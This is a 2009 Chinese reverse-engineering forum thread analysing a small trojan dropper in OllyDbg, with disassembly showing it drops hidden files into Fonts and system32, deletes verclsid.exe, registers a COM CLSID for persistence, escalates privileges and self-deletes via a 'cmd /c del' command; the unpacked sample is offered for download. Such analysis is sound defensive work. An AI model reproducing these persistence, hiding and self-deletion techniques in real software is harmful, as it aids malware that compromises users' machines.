一个小马的分析

missviola · 发表于 2009-12-18 12:36

本帖最后由 missviola 于 2009-12-31 10:36 编辑

【破文标题】一个小马的分析
【破文作者】missviola[LCG]
【破解工具】PEID OD
【破解平台】Windows XP
【原版下载】在附件中
【破解声明】只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!
------------------------------------------------------------------------
【破解过程】PEID查壳显示加了upx的壳，直接用upx的加壳软件直接脱掉。脱掉后检测显示为Microsoft Visual C++ 6.0
[Overlay]，大小为41077字节。用OD载入分析如下：
创建线程：
00401AC9  |.  50          push eax                                     ; /pThreadId = 0012FF20
00401ACA  |.  56          push esi                                     ; |CreationFlags => 0
00401ACB  |.  FF75 08    push dword ptr [ebp+8]                         ; |pThreadParm
00401ACE  |.  68 43194000 push 00401943                                  ; |ThreadFunction =
CTFMON.00401943
00401AD3  |.  56          push esi                                     ; |StackSize => 0
00401AD4  |.  56          push esi                                     ; |pSecurity => NULL
00401AD5  |.  FF15 44304000 call dword ptr [<&KERNEL32.CreateThread>]    ; \CreateThread
获得windows目录：
00401667  /$  55          push ebp
00401668  |.  8BEC       mov    ebp, esp
0040166A  |.  81EC 08010000 sub    esp, 108
00401670  |.  80A5 F8FEFFFF>and    byte ptr [ebp-108], 0
00401677  |.  57          push edi
00401678  |.  6A 41       push 41
0040167A  |.  33C0       xor    eax, eax
0040167C  |.  59          pop    ecx
0040167D  |.  8DBD F9FEFFFF lea    edi, dword ptr [ebp-107]
00401683  |.  F3:AB       rep    stos dword ptr es:[edi]
00401685  |.  8D85 F8FEFFFF lea    eax, dword ptr [ebp-108]
0040168B  |.  68 04010000 push 104                                     ; /BufSize = 104 (260.)
00401690  |.  50          push eax                                     ; |Buffer
00401691  |.  FF15 B4304000 call dword ptr [<&KERNEL32.GetWindowsDirectoryA>; \GetWindowsDirectoryA
00401697  |.  8D85 F8FEFFFF lea    eax, dword ptr [ebp-108]
输出为%SystemRoot%\Fonts\PACNkAWTwg4Cyb3e.Ttf
0040169D  |.  68 D0414000 push 004041D0                                  ; /<%s> = "PACNkAWTwg4Cyb3e"
004016A2  |.  50          push eax                                     ; |<%s>
004016A3  |.  68 C0414000 push 004041C0                                  ; |format = "%s\fOnts\%s.Ttf"
004016A8  |.  FF75 08    push dword ptr [ebp+8]                         ; |s
004016AB  |.  FF15 08314000 call dword ptr [<&MSVCRT.sprintf>]             ; \sprintf
打开自身文件：
00401CE9  |.  56          push esi                                     ; /hTemplateFile => NULL
00401CEA  |.  68 80000000 push 80                                        ; |Attributes = NORMAL
00401CEF  |.  6A 03       push 3                                        ; |Mode = OPEN_EXISTING
00401CF1  |.  56          push esi                                     ; |pSecurity => NULL
00401CF2  |.  6A 01       push 1                                        ; |ShareMode = FILE_SHARE_READ
00401CF4  |.  68 00000080 push 80000000                                  ; |Access = GENERIC_READ
00401CF9  |.  FF75 08    push dword ptr [ebp+8]                         ; |FileName
00401CFC  |.  FF15 90304000 call dword ptr [<&KERNEL32.CreateFileA>]       ; \CreateFileA
读自身文件：
00401D2D  |.  56          push esi                                     ; /pOverlapped
00401D2E  |.  FF75 0C    push dword ptr [ebp+C]                         ; |pBytesRead
00401D31  |.  FF75 08    push dword ptr [ebp+8]                         ; |BytesToRead
00401D34  |.  57          push edi                                     ; |Buffer
00401D35  |.  53          push ebx                                     ; |hFile
00401D36  |.  FF15 4C304000 call dword ptr [<&KERNEL32.ReadFile>]          ; \ReadFile
创建PACNkAWTwg4Cyb3e.Ttf文件，设为隐藏属性：
00401D52  |.  56          push esi                                     ; /hTemplateFile => NULL
00401D53  |.  68 86000000 push 86                                        ; |Attributes =
HIDDEN|SYSTEM|NORMAL
00401D58  |.  6A 04       push 4                                        ; |Mode = OPEN_ALWAYS
00401D5A  |.  56          push esi                                     ; |pSecurity => NULL
00401D5B  |.  56          push esi                                     ; |ShareMode => 0
00401D5C  |.  6A 02       push 2                                        ; |Access = 2
00401D5E  |.  8975 FC    mov    dword ptr [ebp-4], esi                   ; |
00401D61  |.  FF75 08    push dword ptr [ebp+8]                         ; |FileName
00401D64  |.  FF15 90304000 call dword ptr [<&KERNEL32.CreateFileA>]       ; \CreateFileA
写入文件：
00401D81  |.  56          push esi                                     ; /pOverlapped
00401D82  |.  50          push eax                                     ; |pBytesWritten
00401D83  |.  FF75 10    push dword ptr [ebp+10]                      ; |nBytesToWrite
00401D86  |.  FF75 0C    push dword ptr [ebp+C]                         ; |Buffer
00401D89  |.  57          push edi                                     ; |hFile
00401D8A  |.  FF15 94304000 call dword ptr [<&KERNEL32.WriteFile>]       ; \WriteFile
输出路径为%SystemRoot%\system32\56BC86C7.dll：
004011EC  /$  55          push ebp
004011ED  |.  8BEC       mov    ebp, esp
004011EF  |.  81EC 04010000 sub    esp, 104
004011F5  |.  80A5 FCFEFFFF>and    byte ptr [ebp-104], 0
004011FC  |.  57          push edi
004011FD  |.  6A 40       push 40
004011FF  |.  33C0       xor    eax, eax
00401201  |.  59          pop    ecx
00401202  |.  8DBD FDFEFFFF lea    edi, dword ptr [ebp-103]
00401208  |.  F3:AB       rep    stos dword ptr es:[edi]
0040120A  |.  837D 18 00 cmp    dword ptr [ebp+18], 0
0040120E  |.  66:AB       stos word ptr es:[edi]
00401210  |.  AA          stos byte ptr es:[edi]
00401211  |.  5F          pop    edi
00401212  |.  74 47       je    short 0040125B
00401214  |.  56          push esi
00401215  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
0040121B  |.  68 04010000 push 104                                     ; /BufSize = 104 (260.)
00401220  |.  50          push eax                                     ; |Buffer
00401221  |.  FF15 B4304000 call dword ptr [<&KERNEL32.GetWindowsDirectoryA>; \GetWindowsDirectoryA
00401227  |.  BE 38414000 mov    esi, 00404138
0040122C  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401232  |.  56          push esi                                     ; /src => "\"
00401233  |.  50          push eax                                     ; |dest
00401234  |.  E8 B90C0000 call <jmp.&MSVCRT.strcat>                      ; \strcat
00401239  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
0040123F  |.  68 8C414000 push 0040418C                                  ; /src = "system32"
00401244  |.  50          push eax                                     ; |dest
00401245  |.  E8 A80C0000 call <jmp.&MSVCRT.strcat>                      ; \strcat
0040124A  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401250  |.  56          push esi                                     ; /src
00401251  |.  50          push eax                                     ; |dest
00401252  |.  E8 9B0C0000 call <jmp.&MSVCRT.strcat>                      ; \strcat
00401257  |.  83C4 18    add    esp, 18
0040125A  |.  5E          pop    esi
0040125B  |>  FF75 14    push dword ptr [ebp+14]                      ; /<%s>
0040125E  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]                ; |
00401264  |.  FF75 0C    push dword ptr [ebp+C]                         ; |<%s>
00401267  |.  50          push eax                                     ; |<%s>
00401268  |.  68 84414000 push 00404184                                  ; |format = "%s%s.%s"
0040126D  |.  FF75 08    push dword ptr [ebp+8]                         ; |s
00401270  |.  FF15 08314000 call dword ptr [<&MSVCRT.sprintf>]             ; \sprintf

创建文件56BC86C7.dll，设为隐藏属性：
00401D52  |.  56          push esi                                     ; /hTemplateFile => NULL
00401D53  |.  68 86000000 push 86                                        ; |Attributes =
HIDDEN|SYSTEM|NORMAL
00401D58  |.  6A 04       push 4                                        ; |Mode = OPEN_ALWAYS
00401D5A  |.  56          push esi                                     ; |pSecurity => NULL
00401D5B  |.  56          push esi                                     ; |ShareMode => 0
00401D5C  |.  6A 02       push 2                                        ; |Access = 2
00401D5E  |.  8975 FC    mov    dword ptr [ebp-4], esi                   ; |
00401D61  |.  FF75 08    push dword ptr [ebp+8]                         ; |FileName
00401D64  |.  FF15 90304000 call dword ptr [<&KERNEL32.CreateFileA>]       ; \CreateFileA
写入文件：
00401D81  |.  56          push esi                                     ; /pOverlapped
00401D82  |.  50          push eax                                     ; |pBytesWritten
00401D83  |.  FF75 10    push dword ptr [ebp+10]                      ; |nBytesToWrite
00401D86  |.  FF75 0C    push dword ptr [ebp+C]                         ; |Buffer
00401D89  |.  57          push edi                                     ; |hFile
00401D8A  |.  FF15 94304000 call dword ptr [<&KERNEL32.WriteFile>]       ; \WriteFile

载入56BC86C7.DLL，获取JUFNdB4pARSJ函数地址运行：
004013CC  /$  FF7424 04    push dword ptr [esp+4]                         ; /FileName =
"C:\WINDOWS\system32\56BC86C7.dll"
004013D0  |.  FF15 A0304000 call dword ptr [<&KERNEL32.LoadLibraryA>]    ; \LoadLibraryA
004013D6  |.  85C0       test eax, eax
004013D8  |.  74 12       je    short 004013EC
004013DA  |.  68 98414000 push 00404198                                  ; /ProcNameOrOrdinal =
"JUFndB4pARSJ"
004013DF  |.  50          push eax                                     ; |hModule
004013E0  |.  FF15 A4304000 call dword ptr [<&KERNEL32.GetProcAddress>]    ; \GetProcAddress
004013E6  |.  85C0       test eax, eax
004013E8  |.  74 02       je    short 004013EC
004013EA  |.  FFD0       call eax
004013EC  \>  C2 0400    retn 4
删除%SystemRoot%\system32\verclsid.exe：
00401173  |.  50          push eax                                     ; /pFindFileData
00401174  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]                ; |
0040117A  |.  50          push eax                                     ; |FileName
0040117B  |.  FF15 BC304000 call dword ptr [<&KERNEL32.FindFirstFileA>]    ; \FindFirstFileA
00401181  |.  83F8 FF    cmp    eax, -1
00401184  |.  74 18       je    short 0040119E
00401186  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
0040118C  |.  50          push eax                                     ; /FileName
0040118D  |.  FF15 C0304000 call dword ptr [<&KERNEL32.DeleteFileA>]       ; \DeleteFileA
创建注册表键HKEY_CLASSES_ROOT\CLSID\{56BC86C7-0692-4F94-A2C1-6CF1DBF8096C}\InprocServer32：
00401CA9  |.  50          push eax                                     ; /pHandle
00401CAA  |.  FF75 0C    push dword ptr [ebp+C]                         ; |Subkey
00401CAD  |.  FF75 08    push dword ptr [ebp+8]                         ; |hKey
00401CB0  |.  FF15 2C304000 call dword ptr [<&ADVAPI32.RegCreateKeyA>]    ; \RegCreateKeyA

设置键值：
00401CC3  |.  50          push eax                                     ; /BufSize
00401CC4  |.  FF75 14    push dword ptr [ebp+14]                      ; |Buffer
00401CC7  |.  6A 01       push 1                                        ; |ValueType = REG_SZ
00401CC9  |.  6A 00       push 0                                        ; |Reserved = 0
00401CCB  |.  FF75 10    push dword ptr [ebp+10]                      ; |ValueName
00401CCE  |.  FF75 0C    push dword ptr [ebp+C]                         ; |hKey
00401CD1  |.  FF15 20304000 call dword ptr [<&ADVAPI32.RegSetValueExA>]    ; \RegSetValueExA
00401CC3  |.  50          push eax                                     ; /BufSize
00401CC4  |.  FF75 14    push dword ptr [ebp+14]                      ; |Buffer
00401CC7  |.  6A 01       push 1                                        ; |ValueType = REG_SZ
00401CC9  |.  6A 00       push 0                                        ; |Reserved = 0
00401CCB  |.  FF75 10    push dword ptr [ebp+10]                      ; |ValueName
00401CCE  |.  FF75 0C    push dword ptr [ebp+C]                         ; |hKey
00401CD1  |.  FF15 20304000 call dword ptr [<&ADVAPI32.RegSetValueExA>]    ; \RegSetValueExA
删除自身：
004016C1  /$  55          push ebp
004016C2  |.  8BEC       mov    ebp, esp
004016C4  |.  81EC 08020000 sub    esp, 208
004016CA  |.  53          push ebx
004016CB  |.  57          push edi
004016CC  |.  BF 04010000 mov    edi, 104
004016D1  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]
004016D7  |.  57          push edi                                     ; /BufSize => 104 (260.)
004016D8  |.  33DB       xor    ebx, ebx                                  ; |
004016DA  |.  50          push eax                                     ; |PathBuffer
004016DB  |.  53          push ebx                                     ; |hModule => NULL
004016DC  |.  FF15 AC304000 call dword ptr [<&KERNEL32.GetModuleFileNameA>] ; \GetModuleFileNameA
004016E2  |.  85C0       test eax, eax
004016E4  |.  0F84 B8000000 je    004017A2
004016EA  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]
004016F0  |.  57          push edi                                     ; /MaxShortPathSize => 104 (260.)
004016F1  |.  50          push eax                                     ; |ShortPath
004016F2  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]                ; |
004016F8  |.  50          push eax                                     ; |LongPath
004016F9  |.  FF15 7C304000 call dword ptr [<&KERNEL32.GetShortPathNameA>]  ; \GetShortPathNameA
004016FF  |.  85C0       test eax, eax
00401701  |.  0F84 9B000000 je    004017A2
00401707  |.  56          push esi
00401708  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
0040170E  |.  68 FC414000 push 004041FC                                  ; //c
00401713  |.  50          push eax                                     ; |String1
00401714  |.  FF15 80304000 call dword ptr [<&KERNEL32.lstrcpyA>]          ; \lstrcpyA
0040171A  |.  8B35 84304000 mov    esi, dword ptr [<&KERNEL32.lstrcatA>]    ;  kernel32.lstrcatA
00401720  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401726  |.  68 F8414000 push 004041F8                                  ; / d
0040172B  |.  50          push eax                                     ; |ConcatString
0040172C  |.  FFD6       call esi                                     ; \lstrcatA
0040172E  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401734  |.  68 10414000 push 00404110                                  ; /e
00401739  |.  50          push eax                                     ; |ConcatString
0040173A  |.  FFD6       call esi                                     ; \lstrcatA
0040173C  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401742  |.  68 F4414000 push 004041F4                                  ; /l
00401747  |.  50          push eax                                     ; |ConcatString
00401748  |.  FFD6       call esi                                     ; \lstrcatA
0040174A  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]
00401750  |.  50          push eax                                     ; /StringToAdd
00401751  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]                ; |
00401757  |.  50          push eax                                     ; |ConcatString
00401758  |.  FFD6       call esi                                     ; \lstrcatA
0040175A  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]
00401760  |.  68 EC414000 push 004041EC                                  ; / >> nul
00401765  |.  50          push eax                                     ; |ConcatString
00401766  |.  FFD6       call esi                                     ; \lstrcatA
00401768  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]
0040176E  |.  57          push edi                                     ; /BufSize => 104 (260.)
0040176F  |.  50          push eax                                     ; |Buffer
00401770  |.  68 E4414000 push 004041E4                                  ; |comspec
00401775  |.  FF15 88304000 call dword ptr [<&KERNEL32.GetEnvironmentVariab>; \GetEnvironmentVariableA
0040177B  |.  85C0       test eax, eax
0040177D  |.  5E          pop    esi
0040177E  |.  74 22       je    short 004017A2
00401780  |.  53          push ebx                                     ; /IsShown => 0
00401781  |.  8D85 FCFEFFFF lea    eax, dword ptr [ebp-104]                ; |
00401787  |.  53          push ebx                                     ; |DefDir => NULL
00401788  |.  50          push eax                                     ; |Parameters
00401789  |.  8D85 F8FDFFFF lea    eax, dword ptr [ebp-208]                ; |
0040178F  |.  50          push eax                                     ; |FileName
00401790  |.  53          push ebx                                     ; |Operation => NULL
00401791  |.  53          push ebx                                     ; |hWnd => NULL
00401792  |.  FF15 44314000 call dword ptr [<&SHELL32.ShellExecuteA>]    ; \ShellExecuteA
00401798  |.  83F8 20    cmp    eax, 20
0040179B  |.  7E 05       jle    short 004017A2
0040179D  |.  6A 01       push 1
0040179F  |.  58          pop    eax
004017A0  |.  EB 02       jmp    short 004017A4
004017A2  |>  33C0       xor    eax, eax
004017A4  |>  5F          pop    edi
004017A5  |.  5B          pop    ebx
004017A6  |.  C9          leave
004017A7  \.  C3          retn

DLL分析：

提升权限：
10005A24 55             push ebp
10005A25 8BEC          mov    ebp, esp
10005A27 83EC 2C       sub    esp, 2C
10005A2A 53             push ebx
10005A2B 56             push esi
10005A2C 57             push edi
10005A2D 6A 10          push 10
10005A2F 5F             pop    edi
10005A30 8D45 08       lea    eax, dword ptr [ebp+8]
10005A33 50             push eax
10005A34 6A 28          push 28
10005A36 FF75 08       push dword ptr [ebp+8]
10005A39 897D FC       mov    dword ptr [ebp-4], edi
10005A3C FF15 2C700010 call dword ptr [1000702C]                ; ADVAPI32.OpenProcessToken
10005A42 85C0          test eax, eax
10005A44 74 78          je    short 10005ABE
10005A46 8D45 F4       lea    eax, dword ptr [ebp-C]
10005A49 33F6          xor    esi, esi
10005A4B 50             push eax
10005A4C FF75 0C       push dword ptr [ebp+C]
10005A4F 56             push esi
10005A50 FF15 28700010 call dword ptr [10007028]                ; ADVAPI32.LookupPrivilegeValueA
10005A56 85C0          test eax, eax
10005A58 74 64          je    short 10005ABE
10005A5A 8B45 F4       mov    eax, dword ptr [ebp-C]
10005A5D 6A 01          push 1
10005A5F 8945 D8       mov    dword ptr [ebp-28], eax
10005A62 8B45 F8       mov    eax, dword ptr [ebp-8]
10005A65 8945 DC       mov    dword ptr [ebp-24], eax
10005A68 5B             pop    ebx
10005A69 8D45 FC       lea    eax, dword ptr [ebp-4]
10005A6C 8975 E0       mov    dword ptr [ebp-20], esi
10005A6F 50             push eax
10005A70 8D45 E4       lea    eax, dword ptr [ebp-1C]
10005A73 50             push eax
10005A74 8D45 D4       lea    eax, dword ptr [ebp-2C]
10005A77 57             push edi
10005A78 50             push eax
10005A79 56             push esi
10005A7A 8B35 24700010 mov    esi, dword ptr [10007024]          ; ADVAPI32.AdjustTokenPrivileges
10005A80 FF75 08       push dword ptr [ebp+8]
10005A83 895D D4       mov    dword ptr [ebp-2C], ebx
10005A86 FFD6          call esi
10005A88 8B3D 9C700010 mov    edi, dword ptr [1000709C]          ; ntdll.RtlGetLastWin32Error
10005A8E FFD7          call edi
10005A90 85C0          test eax, eax
10005A92 75 2A          jnz    short 10005ABE
10005A94 8B45 F4       mov    eax, dword ptr [ebp-C]
10005A97 834D F0 02    or    dword ptr [ebp-10], 2
10005A9B 8945 E8       mov    dword ptr [ebp-18], eax
10005A9E 8B45 F8       mov    eax, dword ptr [ebp-8]
10005AA1 8945 EC       mov    dword ptr [ebp-14], eax
10005AA4 33C0          xor    eax, eax
10005AA6 50             push eax
10005AA7 50             push eax
10005AA8 FF75 FC       push dword ptr [ebp-4]
10005AAB 8D4D E4       lea    ecx, dword ptr [ebp-1C]
10005AAE 895D E4       mov    dword ptr [ebp-1C], ebx
10005AB1 51             push ecx
10005AB2 50             push eax
10005AB3 FF75 08       push dword ptr [ebp+8]
10005AB6 FFD6          call esi
10005AB8 FFD7          call edi
10005ABA 85C0          test eax, eax
10005ABC 74 04          je    short 10005AC2
10005ABE 33C0          xor    eax, eax
10005AC0 EB 0B          jmp    short 10005ACD
10005AC2 FF75 08       push dword ptr [ebp+8]
10005AC5 FF15 C0700010 call dword ptr [100070C0]                ; kernel32.CloseHandle
10005ACB 8BC3          mov    eax, ebx
10005ACD 5F             pop    edi
10005ACE 5E             pop    esi
10005ACF 5B             pop    ebx
10005AD0 C9             leave
10005AD1 C3             retn

创建两个线程：

100057CB 56             push esi
100057CC 8BF1          mov    esi, ecx
100057CE 33C0          xor    eax, eax
100057D0 3946 04       cmp    dword ptr [esi+4], eax
100057D3 75 1E          jnz    short 100057F3
100057D5 57             push edi
100057D6 8D7E 08       lea    edi, dword ptr [esi+8]
100057D9 57             push edi
100057DA 50             push eax
100057DB FF7424 18    push dword ptr [esp+18]
100057DF FF7424 18    push dword ptr [esp+18]
100057E3 50             push eax
100057E4 50             push eax
100057E5 FF15 E0700010 call dword ptr [100070E0]                ; kernel32.CreateThread
100057EB 8946 04       mov    dword ptr [esi+4], eax
100057EE 8B07          mov    eax, dword ptr [edi]
100057F0 5F             pop    edi
100057F1 EB 02          jmp    short 100057F5
100057F3 33C0          xor    eax, eax
100057F5 5E             pop    esi
100057F6 C2 0800       retn 8

100057CB 56             push esi
100057CC 8BF1          mov    esi, ecx
100057CE 33C0          xor    eax, eax
100057D0 3946 04       cmp    dword ptr [esi+4], eax
100057D3 75 1E          jnz    short 100057F3
100057D5 57             push edi
100057D6 8D7E 08       lea    edi, dword ptr [esi+8]
100057D9 57             push edi
100057DA 50             push eax
100057DB FF7424 18    push dword ptr [esp+18]
100057DF FF7424 18    push dword ptr [esp+18]
100057E3 50             push eax
100057E4 50             push eax
100057E5 FF15 E0700010 call dword ptr [100070E0]                ; kernel32.CreateThread
100057EB 8946 04       mov    dword ptr [esi+4], eax
100057EE 8B07          mov    eax, dword ptr [edi]
100057F0 5F             pop    edi
100057F1 EB 02          jmp    short 100057F5
100057F3 33C0          xor    eax, eax
100057F5 5E             pop    esi
100057F6 C2 0800       retn 8

------------------------------------------------------------------------
【破解总结】最后总结下该小马的行为：
1.释放两个文件：PACNkAWTwg4Cyb3e.Ttf和56BC86C7.dll到系统根目录。
2.删除system32目录下的verclsid.exe。
3.写入注册表：[HKEY_CLASSES_ROOT\CLSID\{56BC86C7-0692-4F94-A2C1-6CF1DBF8096C}\InprocServer32]
内容如图所示：
QQ截图未命名.gif

4.删除自身。
------------------------------------------------------------------------
【版权声明】本文原创于52pojie技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

脱壳后的样本：

CTFMON.zip (19.66 KB, 下载次数: 20)

Tale · 发表于 2009-12-18 12:42

学习分析很透彻啊

Squn · 发表于 2009-12-18 13:22

(*^__^*) 嘻嘻分析的不错哦~

Hmily · 发表于 2009-12-18 13:39

继续把56BC86C7.dll分析了吧.

Finall · 发表于 2009-12-18 14:28

恩，分析的不错，呵呵！
同意把DLL 也分析了吧！

xcomlong · 发表于 2009-12-19 14:37

(*^__^*) 嘻嘻分析的不错哦~

haihong0721 · 发表于 2009-12-19 19:37

嗯学习了谢谢分享

hw2619 · 发表于 2010-1-2 15:29

分析的很到位啊。学习中

gh0st · 发表于 2010-1-2 17:00

分析的很到位啊

Hmily · 发表于 2010-1-2 22:26

DLL那线程就是关键了,再跟踪分析一下吧,就差不多了。

帐号		自动登录	找回密码
密码			注册[Register]

[PC样本分析] 一个小马的分析

免费评分